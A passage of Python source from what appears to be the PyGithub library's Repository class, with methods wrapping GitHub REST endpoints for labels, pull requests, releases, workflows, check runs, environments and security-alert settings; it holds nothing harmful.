github.RepositoryKey.RepositoryKey, self._requester, f"{self.url}/keys", None, ) def get_label(self, name: str) -> Label: """ :calls: `GET /repos/{owner}/{repo}/labels/{name} `_ :param name: string :rtype: :class:`github.Label.Label` """ assert isinstance(name, str), name headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/labels/{urllib.parse.quote(name)}") return github.Label.Label(self._requester, headers, data, completed=True) def get_labels(self) -> PaginatedList[Label]: """ :calls: `GET /repos/{owner}/{repo}/labels `_ :rtype: :class:`PaginatedList` of :class:`github.Label.Label` """ return PaginatedList(github.Label.Label, self._requester, f"{self.url}/labels", None) def get_languages(self) -> dict[str, int]: """ :calls: `GET /repos/{owner}/{repo}/languages `_ :rtype: dict of string to integer """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/languages") return data def get_license(self) -> ContentFile: """ :calls: `GET /repos/{owner}/{repo}/license `_ :rtype: :class:`github.ContentFile.ContentFile` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/license") return github.ContentFile.ContentFile(self._requester, headers, data, completed=True) def get_milestone(self, number: int) -> Milestone: """ :calls: `GET /repos/{owner}/{repo}/milestones/{number} `_ :param number: integer :rtype: :class:`github.Milestone.Milestone` """ assert isinstance(number, int), number headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/milestones/{number}") return github.Milestone.Milestone(self._requester, headers, data, completed=True) def get_milestones( self, state: Opt[str] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, ) -> PaginatedList[Milestone]: """ :calls: `GET /repos/{owner}/{repo}/milestones `_ :param state: string :param sort: string :param direction: string :rtype: :class:`PaginatedList` of :class:`github.Milestone.Milestone` """ assert is_optional(state, str), state assert is_optional(sort, str), sort assert is_optional(direction, str), direction url_parameters = dict() if is_defined(state): url_parameters["state"] = state if is_defined(sort): url_parameters["sort"] = sort if is_defined(direction): url_parameters["direction"] = direction return PaginatedList( github.Milestone.Milestone, self._requester, f"{self.url}/milestones", url_parameters, ) def get_network_events(self) -> PaginatedList[Event]: """ :calls: `GET /networks/{owner}/{repo}/events `_ :rtype: :class:`PaginatedList` of :class:`github.Event.Event` """ return PaginatedList( github.Event.Event, self._requester, f"/networks/{self.owner.login}/{self.name}/events", None, ) def get_public_key(self, secret_type: str = "actions") -> PublicKey: """ :calls: `GET /repos/{owner}/{repo}/actions/secrets/public-key `_ :param secret_type: string options actions or dependabot :rtype: :class:`github.PublicKey.PublicKey` """ assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/{secret_type}/secrets/public-key") return github.PublicKey.PublicKey(self._requester, headers, data, completed=True) def get_pull(self, number: int) -> PullRequest: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number} `_ :param number: integer :rtype: :class:`github.PullRequest.PullRequest` """ assert isinstance(number, int), number headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/pulls/{number}") return github.PullRequest.PullRequest(self._requester, headers, data, completed=True) def get_pulls( self, state: Opt[str] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, base: Opt[str] = NotSet, head: Opt[str] = NotSet, ) -> PaginatedList[PullRequest]: """ :calls: `GET /repos/{owner}/{repo}/pulls `_ :param state: string :param sort: string :param direction: string :param base: string :param head: string :rtype: :class:`PaginatedList` of :class:`github.PullRequest.PullRequest` """ assert is_optional(state, str), state assert is_optional(sort, str), sort assert is_optional(direction, str), direction assert is_optional(base, str), base assert is_optional(head, str), head url_parameters = dict() if is_defined(state): url_parameters["state"] = state if is_defined(sort): url_parameters["sort"] = sort if is_defined(direction): url_parameters["direction"] = direction if is_defined(base): url_parameters["base"] = base if is_defined(head): url_parameters["head"] = head return PaginatedList( github.PullRequest.PullRequest, self._requester, f"{self.url}/pulls", url_parameters, ) def get_pulls_comments( self, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, ) -> PaginatedList[PullRequestComment]: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments `_ :param sort: string :param direction: string :param since: datetime :rtype: :class:`PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` """ return self.get_pulls_review_comments(sort, direction, since) def get_pulls_review_comments( self, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, ) -> PaginatedList[PullRequestComment]: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments `_ :param sort: string 'created', 'updated', 'created_at' :param direction: string 'asc' or 'desc' :param since: datetime :rtype: :class:`PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` """ assert is_optional(sort, str), sort assert is_optional(direction, str), direction assert is_optional(since, datetime), since url_parameters = dict() if is_defined(sort): url_parameters["sort"] = sort if is_defined(direction): url_parameters["direction"] = direction if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList( github.PullRequestComment.PullRequestComment, self._requester, f"{self.url}/pulls/comments", url_parameters, ) def get_readme(self, ref: Opt[str] = NotSet) -> ContentFile: """ :calls: `GET /repos/{owner}/{repo}/readme `_ :param ref: string :rtype: :class:`github.ContentFile.ContentFile` """ assert is_optional(ref, str), ref url_parameters = dict() if is_defined(ref): url_parameters["ref"] = ref headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/readme", parameters=url_parameters) return github.ContentFile.ContentFile(self._requester, headers, data, completed=True) def get_self_hosted_runner(self, runner_id: int) -> SelfHostedActionsRunner: """ :calls: `GET /repos/{owner}/{repo}/actions/runners/{id} `_ :param runner_id: int :rtype: :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` """ assert isinstance(runner_id, int), runner_id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/runners/{runner_id}") return github.SelfHostedActionsRunner.SelfHostedActionsRunner(self._requester, headers, data) def get_self_hosted_runners(self) -> PaginatedList[SelfHostedActionsRunner]: """ :calls: `GET /repos/{owner}/{repo}/actions/runners `_ :rtype: :class:`PaginatedList` of :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` """ return PaginatedList( github.SelfHostedActionsRunner.SelfHostedActionsRunner, self._requester, f"{self.url}/actions/runners", None, list_item="runners", ) def get_source_import(self) -> SourceImport | None: """ :calls: `GET /repos/{owner}/{repo}/import `_ """ import_header = {"Accept": Consts.mediaTypeImportPreview} headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/import", headers=import_header, ) if not data: return None else: return github.SourceImport.SourceImport(self._requester, headers, data, completed=True) def get_stargazers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/stargazers `_ :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ return PaginatedList(github.NamedUser.NamedUser, self._requester, f"{self.url}/stargazers", None) def get_stargazers_with_dates(self) -> PaginatedList[Stargazer]: """ :calls: `GET /repos/{owner}/{repo}/stargazers `_ :rtype: :class:`PaginatedList` of :class:`github.Stargazer.Stargazer` """ return PaginatedList( github.Stargazer.Stargazer, self._requester, f"{self.url}/stargazers", None, headers={"Accept": Consts.mediaTypeStarringPreview}, ) def get_stats_contributors(self) -> list[StatsContributor] | None: """ :calls: `GET /repos/{owner}/{repo}/stats/contributors `_ :rtype: None or list of :class:`github.StatsContributor.StatsContributor` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/contributors") if not data: return None else: return [ github.StatsContributor.StatsContributor(self._requester, headers, attributes) for attributes in data ] def get_stats_commit_activity(self) -> list[StatsCommitActivity] | None: """ :calls: `GET /repos/{owner}/{repo}/stats/commit_activity `_ :rtype: None or list of :class:`github.StatsCommitActivity.StatsCommitActivity` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/commit_activity") if not data: return None else: return [ github.StatsCommitActivity.StatsCommitActivity(self._requester, headers, attributes) for attributes in data ] def get_stats_code_frequency(self) -> list[StatsCodeFrequency] | None: """ :calls: `GET /repos/{owner}/{repo}/stats/code_frequency `_ :rtype: None or list of :class:`github.StatsCodeFrequency.StatsCodeFrequency` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/code_frequency") if not data: return None else: return [ github.StatsCodeFrequency.StatsCodeFrequency(self._requester, headers, attributes) for attributes in data ] def get_stats_participation(self) -> StatsParticipation | None: """ :calls: `GET /repos/{owner}/{repo}/stats/participation `_ :rtype: None or :class:`github.StatsParticipation.StatsParticipation` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/participation") if not data: return None else: return github.StatsParticipation.StatsParticipation(self._requester, headers, data) def get_stats_punch_card(self) -> StatsPunchCard | None: """ :calls: `GET /repos/{owner}/{repo}/stats/punch_card `_ :rtype: None or :class:`github.StatsPunchCard.StatsPunchCard` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/punch_card") if not data: return None else: return github.StatsPunchCard.StatsPunchCard(self._requester, headers, data) def get_subscribers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/subscribers `_ :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ return PaginatedList(github.NamedUser.NamedUser, self._requester, f"{self.url}/subscribers", None) def get_tags(self) -> PaginatedList[Tag]: """ :calls: `GET /repos/{owner}/{repo}/tags `_ :rtype: :class:`PaginatedList` of :class:`github.Tag.Tag` """ return PaginatedList(github.Tag.Tag, self._requester, f"{self.url}/tags", None) def get_releases(self) -> PaginatedList[GitRelease]: """ :calls: `GET /repos/{owner}/{repo}/releases `_ :rtype: :class:`PaginatedList` of :class:`github.GitRelease.GitRelease` """ return PaginatedList(github.GitRelease.GitRelease, self._requester, f"{self.url}/releases", None) def get_release(self, id: int | str) -> GitRelease: """ :calls: `GET /repos/{owner}/{repo}/releases/{id} `_ :param id: int (release id), str (tag name) :rtype: None or :class:`github.GitRelease.GitRelease` """ assert isinstance(id, (int, str)), id if isinstance(id, int): headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/releases/{id}") return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) elif isinstance(id, str): id = urllib.parse.quote(id) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/releases/tags/{id}") return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) def get_latest_release(self) -> GitRelease: """ :calls: `GET /repos/{owner}/{repo}/releases/latest `_ :rtype: :class:`github.GitRelease.GitRelease` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/releases/latest") return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) def get_teams(self) -> PaginatedList[Team]: """ :calls: `GET /repos/{owner}/{repo}/teams `_ :rtype: :class:`PaginatedList` of :class:`github.Team.Team` """ return PaginatedList(github.Team.Team, self._requester, f"{self.url}/teams", None) def get_topics(self) -> list[str]: """ :calls: `GET /repos/{owner}/{repo}/topics `_ :rtype: list of strings """ headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/topics", headers={"Accept": Consts.mediaTypeTopicsPreview}, ) return data["names"] def get_watchers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/watchers `_ :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ return PaginatedList(github.NamedUser.NamedUser, self._requester, f"{self.url}/watchers", None) def get_workflows(self) -> PaginatedList[Workflow]: """ :calls: `GET /repos/{owner}/{repo}/actions/workflows `_ :rtype: :class:`PaginatedList` of :class:`github.Workflow.Workflow` """ return PaginatedList( github.Workflow.Workflow, self._requester, f"{self.url}/actions/workflows", None, list_item="workflows", ) def get_workflow(self, id_or_file_name: str | int) -> Workflow: """ :calls: `GET /repos/{owner}/{repo}/actions/workflows/{workflow_id} `_ :param id_or_file_name: int or string. Can be either a workflow ID or a filename. :rtype: :class:`github.Workflow.Workflow` """ assert isinstance(id_or_file_name, (int, str)), id_or_file_name id_or_file_name = urllib.parse.quote(str(id_or_file_name)) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/workflows/{id_or_file_name}") return github.Workflow.Workflow(self._requester, headers, data, completed=True) def get_workflow_runs( self, actor: Opt[NamedUser] = NotSet, branch: Opt[Branch] = NotSet, event: Opt[str] = NotSet, status: Opt[str] = NotSet, exclude_pull_requests: Opt[bool] = NotSet, head_sha: Opt[str] = NotSet, created: Opt[str] = NotSet, check_suite_id: Opt[int] = NotSet, ) -> PaginatedList[WorkflowRun]: """ :calls: `GET /repos/{owner}/{repo}/actions/runs `_ :param actor: :class:`github.NamedUser.NamedUser` or string :param branch: :class:`github.Branch.Branch` or string :param event: string :param status: string `queued`, `in_progress`, `completed`, `success`, `failure`, `neutral`, `cancelled`, `skipped`, `timed_out`, or `action_required` :param exclude_pull_requests: bool :param head_sha: string :param created: string Created filter, see https://docs.github.com/en/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax#query-for-dates :param check_suite_id: int :rtype: :class:`PaginatedList` of :class:`github.WorkflowRun.WorkflowRun` """ assert is_optional(actor, (github.NamedUser.NamedUser, str)), actor assert is_optional(branch, (github.Branch.Branch, str)), branch assert is_optional(event, str), event assert is_optional(status, str), status assert is_optional(exclude_pull_requests, bool), exclude_pull_requests assert is_optional(head_sha, str), head_sha assert is_optional(created, str), created assert is_optional(check_suite_id, int), check_suite_id url_parameters: dict[str, Any] = {} if is_defined(actor): if isinstance(actor, github.NamedUser.NamedUser): url_parameters["actor"] = actor._identity else: url_parameters["actor"] = actor if is_defined(branch): if isinstance(branch, github.Branch.Branch): url_parameters["branch"] = branch.name else: url_parameters["branch"] = branch if is_defined(event): url_parameters["event"] = event if is_defined(status): url_parameters["status"] = status if is_defined(exclude_pull_requests) and exclude_pull_requests: url_parameters["exclude_pull_requests"] = 1 if is_defined(head_sha): url_parameters["head_sha"] = head_sha if is_defined(created): url_parameters["created"] = created if is_defined(check_suite_id): url_parameters["check_suite_id"] = check_suite_id return PaginatedList( github.WorkflowRun.WorkflowRun, self._requester, f"{self.url}/actions/runs", url_parameters, list_item="workflow_runs", ) def get_workflow_run(self, id_: int) -> WorkflowRun: """ :calls: `GET /repos/{owner}/{repo}/actions/runs/{run_id} `_ :param id_: int :rtype: :class:`github.WorkflowRun.WorkflowRun` """ assert isinstance(id_, int) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/runs/{id_}") return github.WorkflowRun.WorkflowRun(self._requester, headers, data, completed=True) def has_in_assignees(self, assignee: str | NamedUser) -> bool: """ :calls: `GET /repos/{owner}/{repo}/assignees/{assignee} `_ :param assignee: string or :class:`github.NamedUser.NamedUser` :rtype: bool """ assert isinstance(assignee, github.NamedUser.NamedUser) or isinstance(assignee, str), assignee if isinstance(assignee, github.NamedUser.NamedUser): assignee = assignee._identity else: assignee = urllib.parse.quote(assignee) status, headers, data = self._requester.requestJson("GET", f"{self.url}/assignees/{assignee}") return status == 204 def has_in_collaborators(self, collaborator: str | NamedUser) -> bool: """ :calls: `GET /repos/{owner}/{repo}/collaborators/{user} `_ :param collaborator: string or :class:`github.NamedUser.NamedUser` :rtype: bool """ assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance(collaborator, str), collaborator if isinstance(collaborator, github.NamedUser.NamedUser): collaborator = collaborator._identity else: collaborator = urllib.parse.quote(collaborator) status, headers, data = self._requester.requestJson("GET", f"{self.url}/collaborators/{collaborator}") return status == 204 def _legacy_convert_issue(self, attributes: dict[str, Any]) -> dict[str, Any]: convertedAttributes = { "number": attributes["number"], "url": f"/repos{urllib.parse.urlparse(attributes['html_url']).path}", "user": { "login": attributes["user"], "url": f"/users/{attributes['user']}", }, } if "labels" in attributes: # pragma no branch convertedAttributes["labels"] = [{"name": label} for label in attributes["labels"]] for attr in ("title", "created_at", "comments", "body", "updated_at", "state"): if attr in attributes: # pragma no branch convertedAttributes[attr] = attributes[attr] return convertedAttributes def legacy_search_issues(self, state: str, keyword: str) -> list[Issue]: """ :calls: `GET /legacy/issues/search/{owner}/{repository}/{state}/{keyword} `_ :param state: "open" or "closed" :param keyword: string :rtype: List of :class:`github.Issue.Issue` """ assert state in ["open", "closed"], state assert isinstance(keyword, str), keyword headers, data = self._requester.requestJsonAndCheck( "GET", f"/legacy/issues/search/{self.owner.login}/{self.name}/{state}/{urllib.parse.quote(keyword)}", ) return [ github.Issue.Issue( self._requester, headers, self._legacy_convert_issue(element), completed=False, ) for element in data["issues"] ] def get_notifications( self, all: Opt[bool] = NotSet, participating: Opt[bool] = NotSet, since: Opt[datetime] = NotSet, before: Opt[datetime] = NotSet, ) -> PaginatedList[Notification]: """ :calls: `GET /repos/{owner}/{repo}/notifications `_ :param all: bool :param participating: bool :param since: datetime :param before: datetime :rtype: :class:`PaginatedList` of :class:`github.Notification.Notification` """ assert is_optional(all, bool), all assert is_optional(participating, bool), participating assert is_optional(since, datetime), since assert is_optional(before, datetime), before params = NotSet.remove_unset_items({"all": all, "participating": participating}) if is_defined(since): params["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") if is_defined(before): params["before"] = before.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList( github.Notification.Notification, self._requester, f"{self.url}/notifications", params, ) def mark_notifications_as_read(self, last_read_at: datetime = datetime.now(timezone.utc)) -> None: """ :calls: `PUT /repos/{owner}/{repo}/notifications `_ :param last_read_at: datetime """ assert isinstance(last_read_at, datetime) put_parameters = {"last_read_at": last_read_at.strftime("%Y-%m-%dT%H:%M:%SZ")} headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/notifications", input=put_parameters) def merge(self, base: str, head: str, commit_message: Opt[str] = NotSet) -> Commit | None: """ :calls: `POST /repos/{owner}/{repo}/merges `_ :param base: string :param head: string :param commit_message: string :rtype: :class:`github.Commit.Commit` """ assert isinstance(base, str), base assert isinstance(head, str), head assert is_optional(commit_message, str), commit_message post_parameters = { "base": base, "head": head, } if is_defined(commit_message): post_parameters["commit_message"] = commit_message headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/merges", input=post_parameters) if data is None: return None else: return github.Commit.Commit(self._requester, headers, data, completed=True) def merge_upstream(self, branch: str) -> MergedUpstream: """ :calls: `POST /repos/{owner}/{repo}/merge-upstream `_ :param branch: string :rtype: :class:`github.MergedUpstream.MergedUpstream` :raises: :class:`GithubException` for error status codes """ assert isinstance(branch, str), branch post_parameters = {"branch": branch} headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/merge-upstream", input=post_parameters) return github.MergedUpstream.MergedUpstream(self._requester, headers, data) def replace_topics(self, topics: list[str]) -> None: """ :calls: `PUT /repos/{owner}/{repo}/topics `_ :param topics: list of strings :rtype: None """ post_parameters = {"names": topics} headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/topics", headers={"Accept": Consts.mediaTypeTopicsPreview}, input=post_parameters, ) def get_vulnerability_alert(self) -> bool: """ :calls: `GET /repos/{owner}/{repo}/vulnerability-alerts `_ :rtype: bool """ status, _, _ = self._requester.requestJson( "GET", f"{self.url}/vulnerability-alerts", headers={"Accept": Consts.vulnerabilityAlertsPreview}, ) return status == 204 def enable_vulnerability_alert(self) -> bool: """ :calls: `PUT /repos/{owner}/{repo}/vulnerability-alerts `_ :rtype: bool """ status, _, _ = self._requester.requestJson( "PUT", f"{self.url}/vulnerability-alerts", headers={"Accept": Consts.vulnerabilityAlertsPreview}, ) return status == 204 def disable_vulnerability_alert(self) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/vulnerability-alerts `_ :rtype: bool """ status, _, _ = self._requester.requestJson( "DELETE", f"{self.url}/vulnerability-alerts", headers={"Accept": Consts.vulnerabilityAlertsPreview}, ) return status == 204 def enable_automated_security_fixes(self) -> bool: """ :calls: `PUT /repos/{owner}/{repo}/automated-security-fixes `_ :rtype: bool """ status, _, _ = self._requester.requestJson( "PUT", f"{self.url}/automated-security-fixes", headers={"Accept": Consts.automatedSecurityFixes}, ) return status == 204 def disable_automated_security_fixes(self) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/automated-security-fixes `_ :rtype: bool """ status, _, _ = self._requester.requestJson( "DELETE", f"{self.url}/automated-security-fixes", headers={"Accept": Consts.automatedSecurityFixes}, ) return status == 204 def remove_from_collaborators(self, collaborator: str | NamedUser) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/collaborators/{user} `_ :param collaborator: string or :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance(collaborator, str), collaborator if isinstance(collaborator, github.NamedUser.NamedUser): collaborator = collaborator._identity else: collaborator = urllib.parse.quote(collaborator) headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/collaborators/{collaborator}") def remove_self_hosted_runner(self, runner: SelfHostedActionsRunner | int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/actions/runners/{runner_id} `_ :param runner: int or :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` :rtype: bool """ assert isinstance(runner, github.SelfHostedActionsRunner.SelfHostedActionsRunner) or isinstance( runner, int ), runner if isinstance(runner, github.SelfHostedActionsRunner.SelfHostedActionsRunner): runner = runner.id status, _, _ = self._requester.requestJson("DELETE", f"{self.url}/actions/runners/{runner}") return status == 204 def remove_autolink(self, autolink: Autolink | int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/autolinks/{id} `_ :param autolink: int or :class:`github.Autolink.Autolink` :rtype: None """ is_autolink = isinstance(autolink, github.Autolink.Autolink) assert is_autolink or isinstance(autolink, int), autolink status, _, _ = self._requester.requestJson( "DELETE", f"{self.url}/autolinks/{autolink.id if is_autolink else autolink}" # type: ignore ) return status == 204 def subscribe_to_hub(self, event: str, callback: str, secret: Opt[str] = NotSet) -> None: """ :calls: `POST /hub `_ :param event: string :param callback: string :param secret: string :rtype: None """ return self._hub("subscribe", event, callback, secret) def unsubscribe_from_hub(self, event: str, callback: str) -> None: """ :calls: `POST /hub `_ :param event: string :param callback: string :param secret: string :rtype: None """ return self._hub("unsubscribe", event, callback, NotSet) def create_check_suite(self, head_sha: str) -> CheckSuite: """ :calls: `POST /repos/{owner}/{repo}/check-suites `_ :param head_sha: string :rtype: :class:`github.CheckSuite.CheckSuite` """ assert isinstance(head_sha, str), head_sha headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/check-suites", input={"head_sha": head_sha}, ) return github.CheckSuite.CheckSuite(self._requester, headers, data, completed=True) def get_check_suite(self, check_suite_id: int) -> CheckSuite: """ :calls: `GET /repos/{owner}/{repo}/check-suites/{check_suite_id} `_ :param check_suite_id: int :rtype: :class:`github.CheckSuite.CheckSuite` """ assert isinstance(check_suite_id, int), check_suite_id requestHeaders = {"Accept": "application/vnd.github.v3+json"} headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/check-suites/{check_suite_id}", headers=requestHeaders, ) return github.CheckSuite.CheckSuite(self._requester, headers, data) def update_check_suites_preferences( self, auto_trigger_checks: list[dict[str, bool | int]] ) -> RepositoryPreferences: """ :calls: `PATCH /repos/{owner}/{repo}/check-suites/preferences `_ :param auto_trigger_checks: list of dict :rtype: :class:`github.RepositoryPreferences.RepositoryPreferences` """ assert all(isinstance(element, dict) for element in auto_trigger_checks), auto_trigger_checks headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.url}/check-suites/preferences", input={"auto_trigger_checks": auto_trigger_checks}, ) return github.RepositoryPreferences.RepositoryPreferences(self._requester, headers, data) def _hub(self, mode: str, event: str, callback: str, secret: Opt[str]) -> None: assert isinstance(mode, str), mode assert isinstance(event, str), event assert isinstance(callback, str), callback assert is_optional(secret, str), secret event = urllib.parse.quote(event) post_parameters = collections.OrderedDict() post_parameters["hub.callback"] = callback post_parameters["hub.topic"] = f"https://github.com/{self.full_name}/events/{event}" post_parameters["hub.mode"] = mode if is_defined(secret): post_parameters["hub.secret"] = secret headers, output = self._requester.requestMultipartAndCheck("POST", "/hub", input=post_parameters) def get_release_asset(self, id: int) -> GitReleaseAsset: assert isinstance(id, (int)), id resp_headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/releases/assets/{id}") return github.GitReleaseAsset.GitReleaseAsset(self._requester, resp_headers, data, completed=True) def create_check_run( self, name: str, head_sha: str, details_url: Opt[str] = NotSet, external_id: Opt[str] = NotSet, status: Opt[str] = NotSet, started_at: Opt[datetime] = NotSet, conclusion: Opt[str] = NotSet, completed_at: Opt[datetime] = NotSet, output: Opt[dict[str, str | list[dict[str, str | int]]]] = NotSet, actions: Opt[list[dict[str, str]]] = NotSet, ) -> CheckRun: """ :calls: `POST /repos/{owner}/{repo}/check-runs `_ :param name: string :param head_sha: string :param details_url: string :param external_id: string :param status: string :param started_at: datetime :param conclusion: string :param completed_at: datetime :param output: dict :param actions: list of dict :rtype: :class:`github.CheckRun.CheckRun` """ assert isinstance(name, str), name assert isinstance(head_sha, str), head_sha assert is_optional(details_url, str), details_url assert is_optional(external_id, str), external_id assert is_optional(status, str), status assert is_optional(started_at, datetime), started_at assert is_optional(conclusion, str), conclusion assert is_optional(completed_at, datetime), completed_at assert is_optional(output, dict), output assert is_optional_list(actions, dict), actions post_parameters = NotSet.remove_unset_items( { "name": name, "head_sha": head_sha, "details_url": details_url, "external_id": external_id, "status": status, "conclusion": conclusion, "output": output, "actions": actions, } ) if is_defined(started_at): post_parameters["started_at"] = started_at.strftime("%Y-%m-%dT%H:%M:%SZ") if is_defined(completed_at): post_parameters["completed_at"] = completed_at.strftime("%Y-%m-%dT%H:%M:%SZ") headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/check-runs", input=post_parameters, ) return github.CheckRun.CheckRun(self._requester, headers, data, completed=True) def get_check_run(self, check_run_id: int) -> CheckRun: """ :calls: `GET /repos/{owner}/{repo}/check-runs/{check_run_id} `_ :param check_run_id: int :rtype: :class:`github.CheckRun.CheckRun` """ assert isinstance(check_run_id, int), check_run_id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/check-runs/{check_run_id}") return github.CheckRun.CheckRun(self._requester, headers, data, completed=True) def get_artifacts(self, name: Opt[str] = NotSet) -> PaginatedList[Artifact]: """ :calls: `GET /repos/{owner}/{repo}/actions/artifacts `_ :param name: str :rtype: :class:`PaginatedList` of :class:`github.Artifact.Artifact` """ assert is_optional(name, str), name param = {key: value for key, value in {"name": name}.items() if is_defined(value)} return PaginatedList( github.Artifact.Artifact, self._requester, f"{self.url}/actions/artifacts", firstParams=param, list_item="artifacts", ) def get_artifact(self, artifact_id: int) -> Artifact: """ :calls: `GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id} `_ :param artifact_id: int :rtype: :class:`github.Artifact.Artifact` """ assert isinstance(artifact_id, int), artifact_id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/artifacts/{artifact_id}") return github.Artifact.Artifact(self._requester, headers, data) def get_codescan_alerts(self) -> PaginatedList[CodeScanAlert]: """ :calls: `GET https://api.github.com/repos/{owner}/{repo}/code-scanning/alerts `_ :rtype: :class:`PaginatedList` of :class:`github.CodeScanAlert.CodeScanAlert` """ return PaginatedList( github.CodeScanAlert.CodeScanAlert, self._requester, f"{self.url}/code-scanning/alerts", None, ) def get_environments(self) -> PaginatedList[Environment]: """ :calls: `GET /repositories/{self._repository.id}/environments/{self.environment_name}/environments `_ :rtype: :class:`PaginatedList` of :class:`github.Environment.Environment` """ return PaginatedList( Environment, self._requester, f"{self.url}/environments", None, attributesTransformer=PaginatedList.override_attributes( {"environments_url": f"/repositories/{self.id}/environments"} ), list_item="environments", ) def get_environment(self, environment_name: str) -> Environment: """ :calls: `GET /repositories/{self._repository.id}/environments/{self.environment_name}/environments/{environment_name} `_ :rtype: :class:`github.Environment.Environment` """ assert isinstance(environment_name, str), environment_name environment_name = urllib.parse.quote(environment_name) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/environments/{environment_name}") data["environments_url"] = f"/repositories/{self.id}/environments" return Environment(self._requester, headers, data, completed=True) def create_environment( self, environment_name: str, wait_timer: int = 0, reviewers: list[ReviewerParams] = [], deployment_branch_policy: EnvironmentDeploymentBranchPolicyParams | None = None, ) -> Environment: """ :calls: `PUT /repositories/{self._repository.id}/environments/{self.environment_name}/environments/{environment_name} `_ :param environment_name: string :param wait_timer: int :param reviews: List[:class:github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicyParams] :param deployment_branch_policy: Optional[:class:github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicyParams`] :rtype: :class:`github.Environment.Environment` """ assert isinstance(environment_name, str), environment_name assert isinstance(wait_timer, int) assert isinstance(reviewers, list) assert all( [isinstance(reviewer, github.EnvironmentProtectionRuleReviewer.ReviewerParams) for reviewer in reviewers] ) assert ( isinstance( deployment_branch_policy, github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicyParams, ) or deployment_branch_policy is None ) environment_name = urllib.parse.quote(environment_name) put_parameters = { "wait_timer": wait_timer, "reviewers": [reviewer._asdict() for reviewer in reviewers], "deployment_branch_policy": deployment_branch_policy._asdict() if deployment_branch_policy else None, } headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/environments/{environment_name}", input=put_parameters ) data["environments_url"] = f"/repositories/{self.id}/environments" return Environment(self._requester, headers, data, completed=True) def delete_environment(self, environment_name: str) -> None: """ :calls: `DELETE /repositories/{self._repository.id}/environments/{self.environment_name}/environments/{environment_name} `_ :param environment_name: string :rtype: None """ assert isinstance(environment_name, str), environment_name environment_name = urllib.parse.quote(environment_name) headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/environments/{environment_name}") def get_dependabot_alerts( self, state: Opt[str] = NotSet, severity: Opt[str] = NotSet, ecosystem: Opt[str] = NotSet, package: Opt[str] = NotSet, manifest: Opt[str] = NotSet, scope: Opt[str] = NotSet, 